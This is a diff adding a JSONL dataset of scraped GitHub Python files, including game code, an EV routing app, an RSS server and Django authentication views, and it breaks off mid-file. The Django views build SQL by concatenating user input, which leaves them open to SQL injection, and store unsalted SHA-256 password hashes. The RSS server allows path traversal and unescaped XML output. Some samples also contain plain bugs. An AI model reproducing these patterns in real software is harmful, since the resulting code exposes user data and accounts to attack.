diff --git "a/4436.jsonl" "b/4436.jsonl"
new file mode 100644--- /dev/null
+++ "b/4436.jsonl"
@@ -0,0 +1,1975 @@
+{"seq_id":"74342334592","text":"import numpy as np\nimport agents\n\n\nCHECKPOINTS = 'checkpoints'\n\n\nclass Player(object):\n\n    def __init__(self, env, monitor='output/', seed=None):\n        self.env = env\n        self.agents = {'universe': agents.A3C(env, monitor+'universe/',\n                                              CHECKPOINTS+'/universe/'+env+'/', 1),\n                       'tensorpack': agents.TPAgent(env, monitor+'tensorpack/',\n                                              CHECKPOINTS+'/tensorpack/'+env+'/'+env, 1),\n                       'random': agents.RandomAgent()}\n        self.seed = seed\n        self.best = ''\n        \n        \n    def choose(self, num_episodes_eval=100):\n        scores = {}\n        for agent in self.agents.keys():\n            scores[agent] = self.agents[agent].play(num_episodes_eval,\n                                                    env=self.env,\n                                                    record=False,\n                                                    seed=self.seed)\n            \n        self.best = max(scores, key=scores.get)\n\n\n    def choose_and_record(self, num_episodes_eval=100, num_episodes_run=100):\n        scores = {}\n        for agent in self.agents.keys():\n            scores[agent] = self.agents[agent].play(num_episodes_eval,\n                                                    env=self.env,\n                                                    record=False,\n                                                    seed=self.seed)\n            \n        self.best = max(scores, key=scores.get)\n        self.agents[max(scores, key=scores.get)].play(num_episodes_run,\n                                                      env=self.env,\n                                                      record=True,\n                                                      seed=self.seed)\n\n    def upload(self, outputm, api_key=''):\n        self.agents[max(scores, key=scores.get)].do_submit(output, api_key)\n","repo_name":"libfun/deephack3","sub_path":"player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"60"}
+{"seq_id":"28228345063","text":"import cv2\nimport numpy as np\nfrom absl.logging import info\n\n\ndef visualize_image(image, scale, path):\n    image = image.permute(1, 2, 0).cpu().numpy() * 255\n    image = cv2.resize(image, (0, 0), fx=scale, fy=scale)\n    info(f\"Saving image with scale({scale}) to {path}.\")\n    image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n    cv2.imwrite(filename=path, img=image)\n\n\ndef visualize_event(event, scale, path):\n    event = event.permute(1, 2, 0).cpu().numpy()\n    event_image = np.zeros((event.shape[0], event.shape[1], 3)) + 255\n    event_image[event[:, :, 0] > 0] = [0, 0, 255]\n    event_image[event[:, :, 1] > 0] = [255, 0, 0]\n    event_image = event_image.astype(np.uint8)\n    event_image = cv2.resize(event_image, (0, 0), fx=scale, fy=scale)\n    info(f\"Saving event with scale({scale}) to {path}.\")\n    cv2.imwrite(filename=path, img=event_image)\n\n\ndef visualize_event_alpx(event, path):\n    event = event.squeeze().permute(1, 2, 0).cpu().numpy()\n    event_abs = np.abs(event)\n    event_abs = np.sum(event_abs, axis=2)\n    event = np.sum(event, axis=2)\n    event_image = np.zeros((event.shape[0], event.shape[1], 3)) + 255\n    event_image[event_abs > 0] = [0, 0, 0]\n    event_image[event > 0] = [0, 0, 255]\n    event_image[event < 0] = [255, 0, 0]\n    event_image = event_image.astype(np.uint8)\n    info(f\"Saving event to {path}.\")\n    cv2.imwrite(filename=path, img=event_image)\n","repo_name":"yunfanLu/INR-Event-VSR","sub_path":"egvsr/utils/visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"60"}
+{"seq_id":"1330376013","text":"import streamlit as st\nimport osmnx as ox\nimport networkx as nx\nimport pandas as pd\n\n# Load the graph (assuming you have saved it as 'delhi_ev_graph.graphml')\nG = ox.load_graphml('delhi_ev_graph.graphml')\n\ndef shortest_path_with_constraints(G, origin, destination, battery_range, charging_time, weight='length'):\n    # Find the shortest path between origin and destination\n    path = nx.shortest_path(G, origin, destination, weight=weight)\n\n    # Calculate the path length\n    path_length = nx.path_weight(G, path, weight=weight)\n\n    # Check if the path length exceeds the battery range\n    if path_length > battery_range:\n        # Find charging stations on the path\n        charging_stations_on_path = [node for node in path if G.nodes[node].get('charging_station', False)]\n\n        # Check if there are charging stations on the path\n        if charging_stations_on_path:\n            # Find the nearest charging station to the origin\n            nearest_charging_station = charging_stations_on_path[0]\n            nearest_charging_station_distance = nx.shortest_path_length(G, origin, nearest_charging_station, weight=weight)\n\n            # Compute the remaining battery range after reaching the nearest charging station\n            remaining_battery_range = battery_range - nearest_charging_station_distance\n\n            # Recursively compute the shortest path from the nearest charging station to the destination\n            sub_path = shortest_path_with_constraints(G, nearest_charging_station, destination, remaining_battery_range + charging_time * 100, charging_time, weight)\n\n            # Combine the sub-path with the current path\n            path = path[:path.index(nearest_charging_station) + 1] + sub_path[1:]\n\n    return path\n\n\n# Define a function to compute the battery range gained by charging for a specified time\ndef compute_battery_range(charging_time):\n    # Compute the battery range gained by charging for the specified time\n    battery_range_gained = charging_time * 60  # Assume 60 km of range gained per hour of charging\n    \n    return battery_range_gained\n\n# Streamlit app layout\nst.title(\"EV Routing Application\")\n\nstart_address = st.text_input(\"Enter starting address:\", value=\"\")\nend_address = st.text_input(\"Enter destination address:\", value=\"\")\nbattery_charge = st.number_input(\"Enter current battery charge (in kilometers):\", value=0)\ncharging_time = st.number_input(\"Enter charging time (in hours):\", value=0)\n\nif start_address and end_address and battery_charge is not None and charging_time is not None:\n    # Geocode the addresses to get coordinates\n    start_location = ox.geocode(start_address)\n    end_location = ox.geocode(end_address) \n\n    # Find the nearest nodes to the starting and ending points\n    start_node = ox.distance.nearest_nodes(G, X=[start_location[1]], Y=[start_location[0]], return_dist=False)[0]\n    end_node = ox.distance.nearest_nodes(G, X=[end_location[1]], Y=[end_location[0]], return_dist=False)[0]\n\n    # Compute the battery range gained by charging for the specified time\n    battery_range_gained = compute_battery_range(charging_time)\n\n    # Compute the battery range considering the current battery charge and charging time\n    battery_range = battery_charge + battery_range_gained\n\n    # Compute the shortest path using Dijkstra's algorithm based on distance and battery constraints\n    shortest_path = shortest_path_with_constraints(G, start_node, end_node, battery_range, charging_time, weight='length')\n    shortest_path_distance = nx.shortest_path_length(G, source=start_node, target=end_node, weight='length', method='dijkstra')\n    # Get the route geometry\n    route_edges = ox.utils_graph.get_route_edge_attributes(G, shortest_path, attribute='geometry')\n    route_geometry = [item for sublist in route_edges for item in sublist]\n    \n    # Plot the route\n    fig, ax = ox.plot_graph_route(G, route=shortest_path, route_linewidth=6, node_size=0, bgcolor='k', edge_color='gray', edge_alpha=0.2, route_color='b')\n\n# Plot the origin and destination nodes\n    orig_node_geom = G.nodes[start_node]['route_geometry']\n    dest_node_geom = G.nodes[end_node]['route_geometry']\n    ax.scatter(orig_node_geom.x, orig_node_geom.y, c='r', s=100, zorder=3)\n    ax.scatter(dest_node_geom.x, dest_node_geom.y, c='r', s=100, zorder=3)\n    \n#  # Plot the route\n#     fig, ax = ox.plot_graph_route(G, route=route_geometry, route_linewidth=6, node_size=0, bgcolor='k', edge_color='gray', edge_alpha=0.2, orig_dest_node_color='r', route_color='b')\n\n# # Show the route map\n#     st.pyplot(route_map)\n\n# Display the route distance\n    st.write(f\"Shortest path distance: {shortest_path_distance} meters\")\n","repo_name":"RhythmBindal/Predictive_Routing_for_EV_Charging_Stations","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37650503089","text":"from enum import Enum, auto\nimport random\nimport sys\n\n\nclass BoardState(Enum):\n    BLANK = auto()\n    PLAYER = auto()\n    CPU = auto()\n\n\nclass GameState(Enum):\n    PLAYING = auto()\n    PLAYER_WIN = auto()\n    CPU_WIN = auto()\n    DRAW = auto()\n\n\nclass Board():\n    def __init__(self):\n        # ボードの幅\n        self.board_length = 3\n        # マスの数\n        self.board_area = self.board_length ** 2\n        # 初期化\n        self.board = [BoardState.BLANK] * self.board_area\n        # 先攻:True、後攻:False\n        self.is_player_turn = True\n        # ゲームの状態\n        self.state = GameState.PLAYING\n\n    def display(self):\n        print_length = len(str(self.board_area)) + 1\n        for i in range(self.board_area):\n            if self.board[i] == BoardState.PLAYER:\n                print('o'.rjust(print_length), end='')\n            elif self.board[i] == BoardState.CPU:\n                print('x'.rjust(print_length), end='')\n            else:\n                print('{0:{print_length}d}'.format(\n                    i, print_length=print_length), end='')\n            if (i + 1) % self.board_length == 0:\n                print()\n\n    def input_player(self):\n        while True:\n            i = int(input())\n            if i < 0 or i >= self.board_area or self.stone_exists(i) is True:\n                print('error: invalid number')\n                continue\n            self.set_stone(i)\n            break\n\n    def input_cpu(self):\n        idxs = [i for i, x in enumerate(self.board) if x == BoardState.BLANK]\n        i = random.randint(0, len(idxs) - 1)\n        self.set_stone(idxs[i])\n\n    def stone_exists(self, i):\n        return True if self.board[i] != BoardState.BLANK else False\n\n    def set_stone(self, i):\n        self.board[i] = BoardState.PLAYER if self.is_player_turn else BoardState.CPU\n        self.update_state()\n        self.next_turn()\n\n    def next_turn(self):\n        self.is_player_turn = not self.is_player_turn\n\n    def judge(self, board_sub):\n        return True if board_sub[0] != BoardState.BLANK and all([board_sub[0] == i for i in board_sub]) else False\n\n    def update_state(self):\n        if self.judge(self.board[0: self.board_area: self.board_length + 1]) or \\\n                self.judge(self.board[self.board_length - 1: (self.board_length - 1) * self.board_length + 1: self.board_length - 1]):\n            if self.is_player_turn:\n                self.state = GameState.PLAYER_WIN\n            else:\n                self.state = GameState.CPU_WIN\n            return\n        for i in range(self.board_length):\n            if self.judge(self.board[i: self.board_area: self.board_length]) or \\\n                    self.judge(self.board[self.board_length * i: self.board_length * (i + 1)]):\n                if self.is_player_turn:\n                    self.state = GameState.PLAYER_WIN\n                else:\n                    self.state = GameState.CPU_WIN\n                return\n        if BoardState.BLANK not in self.board:\n            self.state = GameState.DRAW\n            return\n        self.state = GameState.PLAYING\n\n\nclass TicTacToe(Board):\n    def input_cpu(self):\n        self.set_stone(self.minimax(0))\n\n    def unset_stone(self, i):\n        self.board[i] = BoardState.BLANK\n        self.next_turn()\n\n    def evaluate(self, depth):\n        if self.state == GameState.CPU_WIN:\n            self.state = GameState.PLAYING\n            return 10 - depth\n        elif self.state == GameState.PLAYER_WIN:\n            self.state = GameState.PLAYING\n            return depth - 10\n        else:\n            self.state = GameState.PLAYING\n            return 0\n\n    def minimax(self, depth):\n        if self.state != GameState.PLAYING:\n            return self.evaluate(depth)\n        best_i = 0\n        evaluation_value = sys.maxsize if self.is_player_turn else (\n            -1) * sys.maxsize\n        for i in range(self.board_area):\n            if self.stone_exists(i) is False:\n                self.set_stone(i)\n                evaluation_value_tmp = self.minimax(depth + 1)\n                if self.is_player_turn:\n                    if evaluation_value_tmp > evaluation_value:\n                        evaluation_value = evaluation_value_tmp\n                        best_i = i\n                else:\n                    if evaluation_value_tmp < evaluation_value:\n                        evaluation_value = evaluation_value_tmp\n                        best_i = i\n                self.unset_stone(i)\n        if depth == 0:\n            return best_i\n        else:\n            return evaluation_value\n\n    def run(self):\n        self.display()\n        while self.state == GameState.PLAYING:\n            msg = 'PLAYER' if self.is_player_turn else 'CPU'\n            print(msg)\n            if self.is_player_turn:\n                self.input_player()\n            else:\n                self.input_cpu()\n            self.display()\n        msg = 'player win' if self.state == GameState.PLAYER_WIN else 'cpu win' if self.state == GameState.CPU_WIN else 'draw'\n        print(msg)\n\n\nif __name__ == \"__main__\":\n    tictactoe = TicTacToe()\n    tictactoe.run()\n","repo_name":"ogyogy/tic-tac-toe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24801274237","text":"#!/usr/bin/env python3\n\n\"\"\"\nRun with Psy.0.1.typelib on a default path or specify the following\nenvironmental variables before starting this script:\n   GI_TYPELIB_PATH = \"path/to/Psy-0.1.typelib\"\nWhen the suitable libpsy-1.0.so .dll is available on the path you\nshould be able to run it otherwise use:\n    LD_LIBRARY_PATH = \"path/to/libpsy.so/folder\"\n\"\"\"\n\nimport gi\nimport typing\nimport math as m\nimport time as t\nimport argparse as ap\n\ngi.require_versions({\"Psy\": \"0.1\", \"GLib\": \"2.0\"})\n\nfrom gi.repository import Psy\nfrom gi.repository import GLib\n\n\nclass MyCross(Psy.Cross):\n    \"\"\"\n    In order to override a virtual method you have to prepend your\n    method with do_, so PsyCrossClass->update is called in python\n    by MyCross.do_update\n    \"\"\"\n\n    def do_update(self, timepoint, frame_num):\n        self.props.x += 1\n        self.props.y += 1\n        self.set_color(\n            Psy.Color(r=(m.sin(t.time()) / 2 + 0.5), g=m.cos(t.time()) / 2 + 0.5, b=0.5)\n        )\n\n\nclass MyRect(Psy.Rectangle):\n    def __init__(self, nth_frame, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.is_white = True\n        self.white = Psy.Color.new_rgb(1, 1, 1)\n        self.black = Psy.Color()\n        self.nth_frame = nth_frame\n        self.counter = 0\n\n    def do_update(self, timepoint, frame_num):\n        if self.counter % self.nth_frame == 0:\n            if self.is_white:\n                self.set_color(self.white)\n            else:\n                self.set_color(self.black)\n            self.is_white = not self.is_white\n        self.counter += 1\n\n\ndef stop_loop(\n    circle: Psy.Circle,\n    time_point: Psy.TimePoint,\n    tup: typing.Tuple[GLib.MainLoop, Psy.TimePoint],\n):\n    \"\"\"\n    Exit from the mainloop and exit the program\n    \"\"\"\n    loop = tup[0]\n    time_start = tup[1]\n\n    try:\n        print(\n            \"Circle.start = {}\".format(\n                circle.props.start_time.subtract(time_start).props.seconds\n            )\n        )\n        print(\n            \"Circle.stop = {}\".format(\n                circle.props.stop_time.subtract(time_start).props.seconds\n            )\n        )\n        print(\n            \"The circle is presented for roughly = {} seconds\".format(\n                circle.props.stop_time.subtract(circle.props.start_time).props.seconds\n            )\n        )\n    except Exception as e:\n        print(\"We shouldn't get here\", e)\n        pass\n\n    loop.quit()\n\n\ndef circle_update(circle: Psy.Circle, nth_frame, data):\n    \"\"\"\n    Do something nice with the circle\n    \"\"\"\n    circle.props.radius = circle.props.radius + 1\n    circle.props.x = circle.props.x - 1\n    circle.props.num_vertices = circle.props.num_vertices + 1\n\n\ndef main(args: ap.Namespace):\n    \"\"\"run the program using the parameters in args\"\"\"\n    loop = GLib.MainLoop()\n    clock = Psy.Clock()\n    start = clock.now()\n    dur = Psy.Duration.new_ms(args.start_dur)\n    stim_dur = Psy.Duration.new_ms(args.duration)\n    window = Psy.GtkWindow(n_monitor=args.monitor)\n    circle = Psy.Circle.new(window)\n    rect = Psy.Rectangle.new(window)\n    flikker = MyRect(\n        args.swap,\n        canvas=window,\n        width=100,\n        height=100,\n        x=-1920 / 2 + 50,\n        y=1080 / 2 - 50,\n    )\n    flikker.set_color(Psy.Color.new_rgb(1, 0, 0))\n    rect.props.x, rect.props.y = -200, -200\n    rect.props.width, rect.props.height = 100, 100\n    rect.set_color(Psy.Color.new_rgb(1.0, 0.0, 0.0))\n    cross = MyCross(canvas=window, x=200, y=200, line_length=100, line_width=30)\n    circle.play_for(start.add(dur), stim_dur)\n    cross.play_for(start.add(dur), stim_dur)\n    rect.play_for(start.add(dur), stim_dur)\n    flikker.play_for(start.add(dur), stim_dur)\n\n    circle.connect(\"stopped\", stop_loop, (loop, start))\n    circle.connect(\"update\", circle_update)\n\n    loop.run()\n\n\nif __name__ == \"__main__\":\n    cmd_parser = ap.ArgumentParser(\n        \"python-test.py\",\n        description=\"show some test stimuli\",\n        epilog=\"Happy Experimenting\",\n    )\n\n    cmd_parser.add_argument(\n        \"-m\", \"--monitor\", help=\"Choose a monitor by number\", type=int, default=0\n    )\n    cmd_parser.add_argument(\n        \"-s\",\n        \"--start-dur\",\n        help=\"The start duration before onset of the stimuli in milliseconds\",\n        type=int,\n        default=500,\n    )\n    cmd_parser.add_argument(\n        \"-d\",\n        \"--duration\",\n        help=\"Duration of the stimuli in milliseconds\",\n        type=int,\n        default=4000,\n    )\n    cmd_parser.add_argument(\n        \"--swap\",\n        help=\"num frames between successive swaps of the rectangle\",\n        type=int,\n        default=1,\n    )\n\n    args = cmd_parser.parse_args()\n    main(args)\n","repo_name":"UiL-OTS-labs/psy-lib","sub_path":"tests/python-test.py","file_name":"python-test.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23703488085","text":"class RunnerUp:\n    if __name__ == '__main__':\n        print(\"Please  enter how many number do you want to put int? : \")\n        n = int(input())\n        arr = map(int, input().split(' '))\n        runner_up_list = arr\n        reversed_num = list(runner_up_list)\n\n        print(reversed_num)\n\n        print(reversed_num.sort(reverse=True))\n\n    n = [2, 3, 4, 5, 6]\n    n.sort(reverse=True)\n    print(n[1])","repo_name":"MemoNano/Webinar","sub_path":"HackerRank/RunnerUp.py","file_name":"RunnerUp.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"10353305917","text":"from http.server import BaseHTTPRequestHandler, HTTPServer\nimport os\nimport json\n\nclass S(BaseHTTPRequestHandler):\n\n    def do_GET(self):\n        # read title from path\n        title = self.path[1:]\n        rss_file = os.path.join('rss', f'{title}.jsonl')\n\n        # check if file exists\n        if not os.path.exists(rss_file):\n            self.send_response(404)\n            self.end_headers()\n            return\n        \n        # load rss and send\n        with open(rss_file) as f:\n            rss = [json.loads(i) for i in f.read().splitlines()]\n            rss.reverse()\n\n        # create xml and send response\n        xml = make_xml(title, rss)\n        self.send_response(200)\n        self.send_header(\"Content-type\", 'text/xml')\n        self.send_header(\"Content-Length\", len(xml))\n        self.end_headers()\n        self.wfile.write(xml.encode('utf-8'))\n\n    def do_POST(self):\n        # read title from path\n        title = self.path[1:]\n        rss_file = os.path.join('rss', f'{title}.jsonl')\n\n        # read data from POST body\n        content_length = int(self.headers['Content-Length'])\n        data = self.rfile.read(content_length)\n\n        # check if valid json\n        try:\n            js = json.loads(data)\n            if not ('name' in js and 'magnet' in js):\n                raise Exception('Bad request')\n        except:\n            self.send_response(400)\n            self.end_headers()\n            return\n        \n        # fix escaping\n        js['magnet'] = js['magnet'].replace('&', '&amp;')\n\n        # append to jsonl\n        with open(rss_file, 'a') as f:\n            json.dump(js, f)\n            f.write('\\n')\n\n        # send OK\n        self.send_response(200)\n        self.end_headers()\n\ndef make_xml(title, items):\n    content = ''\n    for item in items:\n        content += f'<item><title>{item[\"name\"]}</title><enclosure url=\\\"{item[\"magnet\"]}\\\" type=\"application/x-bittorrent\" /><guid>{item[\"guid\"]}</guid></item>'\n    return f'<?xml version=\"1.0\" encoding=\"utf-8\"?><rss version=\"2.0\"><channel><title>{title}</title>{content}</channel></rss>'    \n\ndef start_server(port=8080):\n    server_address = ('', port)\n    httpd = HTTPServer(server_address, S)\n    try:\n        httpd.serve_forever()\n    except KeyboardInterrupt:\n        pass\n    httpd.server_close()","repo_name":"Haroon96/TorrenterBot","sub_path":"rss_server.py","file_name":"rss_server.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"22739486150","text":"def bubble_sort(arr):\n    n = len(arr)\n    for i in range(n-1):\n        # Flag to check if any swaps are made in this pass\n        swapped = False\n\n        # Last i elements are already in place\n        for j in range(0, n - i - 1):\n            # Swap if the element found is greater than the next element\n            if arr[j] > arr[j + 1]:\n                arr[j], arr[j + 1] = arr[j + 1], arr[j]\n                swapped = True\n\n        # If no swaps are made in this pass, the array is already sorted\n        if not swapped:\n            break\n\n# Example usage:\nif __name__ == \"__main__\":\n    arr = [64, 34, 25, 12, 22, 11, 90]\n    bubble_sort(arr)\n    print(\"Sorted array:\", arr)\n","repo_name":"harshpujari/DSAbyThomasCormen","sub_path":"2.2bubbleSort.py","file_name":"2.2bubbleSort.py","file_ext":"py","file_size_in_byte":682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19067160013","text":"import datetime\n\nimport requests\nfrom datetime import datetime\nfrom django.utils import timezone\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.shortcuts import render, redirect\nimport hashlib\nimport psycopg2\nimport json\nfrom django.http import JsonResponse\n\nfrom common.models import Xfactor_Log\n\nwith open(\"setting.json\", encoding=\"UTF-8\") as f:\n    SETTING = json.loads(f.read())\nDBHost = SETTING['DB']['DBHost']\nDBPort = SETTING['DB']['DBPort']\nDBName = SETTING['DB']['DBName']\nDBUser = SETTING['DB']['DBUser']\nDBPwd = SETTING['DB']['DBPwd']\nUserTNM = SETTING['DB']['UserTNM']\nLogin_Method = SETTING['PROJECT']['LOGIN']\napiUrl = SETTING['API']['apiUrl']\nSesstionKeyPath = SETTING['API']['PATH']['SessionKey']\n\n\n# hi\n@csrf_exempt\ndef signup(request):\n    if request.method == \"GET\":\n        return render(request, 'common/signup.html')\n\n    elif request.method == \"POST\":\n        page = request.POST.get('page')\n        x_id = request.POST.get('x_id')\n        x_pw = request.POST.get('x_pw')\n        re_x_pw = request.POST.get('re_x_pw')\n        x_name = request.POST.get('x_name')\n        x_email = request.POST.get('x_email')\n        x_auth = request.POST.get('x_auth')\n        res_data = {}\n\n        RS = createUsers(x_id, x_pw, x_name, x_email, x_auth)\n        if RS == \"1\":\n            if page == 'um':\n                res_data['error'] = \"회원가입에 성공하였습니다.\"\n                redirect_url = '../user_management'\n                function = 'Add User'  # 분류 정보를 원하시는 텍스트로 변경해주세요.\n                item = 'Add user '+ x_id\n                result = '성공'\n                user = request.session.get('sessionid')\n                date = timezone.now()\n                Xfactor_log = Xfactor_Log(\n                    log_func=function,\n                    log_item=item,\n                    log_result=result,\n                    log_user=user,\n                    log_date=date\n                )\n                Xfactor_log.save()\n                return redirect(redirect_url)\n                #return render(request, 'user_management.html', res_data)\n            else :\n                function = 'Signup User'  # 분류 정보를 원하시는 텍스트로 변경해주세요.\n                item = 'Signup user ' + x_id\n                result = '성공'\n                user = x_id\n                date = timezone.now()\n                Xfactor_log = Xfactor_Log(\n                    log_func=function,\n                    log_item=item,\n                    log_result=result,\n                    log_user=user,\n                    log_date=date\n                )\n                Xfactor_log.save()\n                res_data['error'] = \"회원가입에 성공하였습니다.\"\n                return render(request, 'common/login.html', res_data)\n        else:\n            res_data['error'] = \"아이디가 존재합니다.\"\n            res_data['x_id'] = x_id\n            res_data['x_name'] = x_name\n            res_data['x_email'] = x_email\n            res_data['x_auth'] = x_auth\n            return render(request, 'common/signup.html', res_data)\n\n@csrf_exempt\ndef login(request):\n    if Login_Method == \"WEB\":\n        if request.method == 'GET':\n            return render(request, 'common/login.html')\n\n        # POST 방식 요청 -> 사용자가 보내는 데이터와 데이터베이스의 정보 일치여부 확인\n        elif request.method == 'POST':\n            x_id = request.POST.get('x_id', None)\n            x_pw = request.POST.get('x_pw', None)\n\n            # 응답 데이터\n            res_data = {}\n\n            # 모든 필드를 채우지 않았을 경우\n            if not (x_id and x_pw):\n                res_data['error'] = '아이디 또는 비밀번호를 입력해 주세요.'\n                return render(request, 'common/login.html', res_data)\n            # 모든 필드를 채웠을 경우\n            else:\n                RS = selectUsers(x_id, x_pw)\n                print(RS)\n                if RS == None:\n                    res_data['error'] = '아이디 또는 비밀번호가 일치하지 않습니다'\n                    return render(request, 'common/login.html', res_data)\n\n                else:\n                    request.session['sessionid'] = RS[0]\n                    request.session['sessionname'] = RS[2]\n                    request.session['sessionemail'] = RS[3]\n                    function = 'Login'  # 분류 정보를 원하시는 텍스트로 변경해주세요.\n                    item = 'admin 계정'\n                    result = '성공'\n                    user = RS[0]\n                    now = timezone.now().replace(microsecond=0)\n                    date = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n                    print(date)\n                    Xfactor_log = Xfactor_Log(\n                        log_func=function,\n                        log_item=item,\n                        log_result=result,\n                        log_user=user,\n                        log_date=date\n                    )\n                    Xfactor_log.save()\n                    return redirect('../dashboard')\n    elif Login_Method == \"Tanium\":\n        if request.method == 'GET':\n            returnData = {'Login_Method': Login_Method}\n            return render(request, 'common/login.html', returnData)\n\n        elif request.method == 'POST':\n\n            x_id = request.POST.get('x_id', None)\n            x_pw = request.POST.get('x_pw', None)\n\n            # 응답 데이터\n            res_data = {}\n\n            # 모든 필드를 채우지 않았을 경우\n            if not (x_id and x_pw):\n                res_data['error'] = '아이디 또는 비밀번호를 입력해 주세요.'\n                return render(request, 'common/login.html', res_data)\n            # 모든 필드를 채웠을 경우\n            else:\n                TRS = taniumUsers(x_id, x_pw)\n                if TRS == None:\n                    res_data['error'] = '아이디 또는 비밀번호가 일치하지 않습니다'\n                    return render(request, 'common/login.html', res_data)\n                else:\n                    request.session['sessionid'] = x_id\n                    return redirect('../dashboard')\n\n@csrf_exempt\ndef updateform(request):\n    try:\n        if request.method == \"GET\":\n            # print(request.session.sessionid)\n            return render(request, 'common/updateform.html')\n\n        elif request.method == \"POST\":\n            x_id = request.POST.get('x_id')\n            x_pw = request.POST.get('x_pw')\n            hashpassword = hashlib.sha256(x_pw.encode()).hexdigest()\n            Conn = psycopg2.connect('host={0} port={1} dbname={2} user={3} password={4}'.format(DBHost, DBPort, DBName, DBUser, DBPwd))\n            Cur = Conn.cursor()\n\n            query = \"\"\"\n                        select\n                            *\n                        from\n                            \"\"\" + UserTNM + \"\"\"\n                        where\n                            x_id = '\"\"\" + x_id + \"\"\"'\n                        and\n                            x_pw = '\"\"\" + hashpassword + \"\"\"'\n\n                    \"\"\"\n            Cur.execute(query)\n            RS = Cur.fetchall()\n            res_data = {}\n            print(RS)\n            if RS[0] != None:\n                res_data['x_id'] = RS[0][0]\n                res_data['x_name'] = RS[0][2]\n                res_data['x_email'] = RS[0][3]\n                res_data['x_auth'] = RS[0][4]\n                # print(res_data)\n                return render(request, 'common/update.html', res_data)\n    except:\n        res_data['error'] = '비밀번호를 다시한번 확인 해 주세요.'\n        return render(request, 'common/updateform.html', res_data)\n\n@csrf_exempt\ndef update(request):\n    if request.method == \"GET\":\n        # 404 에러페이지 넣을것\n        return render(request, '')\n\n    elif request.method == \"POST\":\n        x_id = request.POST.get('x_id')\n        x_pw = request.POST.get('x_pw')\n        re_x_pw = request.POST.get('re_x_pw')\n        x_name = request.POST.get('x_name')\n        x_email = request.POST.get('x_email')\n        x_auth = request.POST.get('x_auth')\n        res_data = {}\n        if not (x_id and x_pw and x_name and x_email and x_auth):\n            res_data['x_id'] = x_id\n            res_data['x_pw'] = x_pw\n            res_data['x_name'] = x_name\n            res_data['x_email'] = x_email\n            res_data['x_auth'] = x_auth\n            res_data['error'] = \"모든 값을 입력해야 합니다.\"\n            return render(request, 'common/update.html', res_data)\n        if x_pw != re_x_pw:\n            res_data['x_id'] = x_id\n            res_data['x_pw'] = x_pw\n            res_data['x_name'] = x_name\n            res_data['x_email'] = x_email\n            res_data['x_auth'] = x_auth\n            res_data['error'] = '비밀번호가 다릅니다.'\n            return render(request, 'common/update.html', res_data)\n        else:\n            RS = updateUsers(x_id, x_pw, x_name, x_email, x_auth)\n            if RS == \"1\":\n                request.session['sessionname'] = x_name\n                request.session['sessionemail'] = x_email\n                return redirect('../dashboard')\n            else:\n                res_data['error'] = '회원정보 변경이 실패했습니다.'\n                return render(request, 'common/update.html', res_data)\n\n@csrf_exempt\ndef logout(request):\n    if Login_Method == \"WEB\":\n        if 'sessionid' in request.session:\n\n            function = 'Logout'  # 분류 정보를 원하시는 텍스트로 변경해주세요.\n            item = 'admin 계정'\n            result = '성공'\n            user = request.session.get('sessionid')\n            date = timezone.now()\n            Xfactor_log = Xfactor_Log(\n                log_func=function,\n                log_item=item,\n                log_result=result,\n                log_user=user,\n                log_date=date\n            )\n            Xfactor_log.save()\n            del (request.session['sessionid'])\n            del (request.session['sessionname'])\n            del (request.session['sessionemail'])\n            return render(request, 'common/login.html')\n        else:\n            return render(request, 'common/login.html')\n    elif Login_Method == \"Tanium\":\n        if request.method == 'GET':\n            returnData = {'Login_Method': Login_Method}\n            return render(request, 'common/login.html', returnData)\n        if 'sessionid' in request.session:\n            del (request.session['sessionid'])\n            return render(request, 'common/login.html')\n        else:\n            return render(request, 'common/login.html')\n\n@csrf_exempt\ndef selectUsers(x_id, x_pw):\n    try:\n        hashpassword = hashlib.sha256(x_pw.encode()).hexdigest()\n        # print(hashpassword)\n\n        Conn = psycopg2.connect('host={0} port={1} dbname={2} user={3} password={4}'.format(DBHost, DBPort, DBName, DBUser, DBPwd))\n        Cur = Conn.cursor()\n\n        query = \"\"\"\n            select \n                *\n            from\n                \"\"\" + UserTNM + \"\"\"\n            where\n                x_id = '\"\"\" + x_id + \"\"\"'\n            and\n                x_pw = '\"\"\" + hashpassword + \"\"\"'   \n\n            \"\"\"\n\n        Cur.execute(query)\n        RS = Cur.fetchone()\n        # print(RS)\n        return RS\n    except:\n        print(UserTNM + ' Table connection(Select) Failure')\n\n@csrf_exempt\ndef createUsers(x_id, x_pw, x_name, x_email, x_auth):\n    try:\n        hashpassword = hashlib.sha256(x_pw.encode()).hexdigest()\n        Conn = psycopg2.connect('host={0} port={1} dbname={2} user={3} password={4}'.format(DBHost, DBPort, DBName, DBUser, DBPwd))\n        Cur = Conn.cursor()\n        query = \"\"\" \n        INSERT INTO \n            common_xfactor_xuser\n            (x_id, x_pw, x_name, x_email, x_auth) \n        VALUES ( \n                '\"\"\" + x_id + \"\"\"',\n                '\"\"\" + hashpassword + \"\"\"' ,\n                '\"\"\" + x_name + \"\"\"',\n                '\"\"\" + x_email + \"\"\"',\n                '\"\"\" + x_auth + \"\"\"'\n                );\n        \"\"\"\n        Cur.execute(query)\n        Conn.commit()\n        Conn.close()\n        a = \"1\"\n        return a\n    except:\n        print(UserTNM + ' Table connection(Select) Failure')\n        a = \"0\"\n    